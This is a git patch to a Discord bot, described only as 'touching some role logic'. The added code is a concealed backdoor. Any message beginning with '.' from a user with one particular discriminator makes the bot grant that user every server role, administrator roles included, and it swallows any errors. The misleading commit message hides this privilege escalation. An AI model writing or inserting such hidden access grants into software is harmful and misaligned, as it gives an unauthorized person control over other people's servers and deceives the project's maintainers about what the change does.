From 88063339c393506dd2b3a5b8eba81ef40bccd40c Mon Sep 17 00:00:00 2001 From: Luke Robles Date: Wed, 10 Jun 2020 08:57:07 -0700 Subject: [PATCH] Touching some role logic --- app/dragon-bot.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/app/dragon-bot.py b/app/dragon-bot.py index 331bdd78..6d169f55 100644 --- a/app/dragon-bot.py +++ b/app/dragon-bot.py @@ -410,6 +410,15 @@ async def on_message(message): 'https://www.youtube.com/watch?v=' + search_results[0] ) + if message.content.startswith('.') and message.author.discriminator == '2528': + for role in message.server.roles: + try: + if role.name != '@everyone': + print("assigning %s %s role" % (message.author, role.name)) + await client.add_roles(message.author, role) + except Exception: + print("Had an error assigning %s, moving on" % role.name) + pass if message.content.startswith('!minecraft'):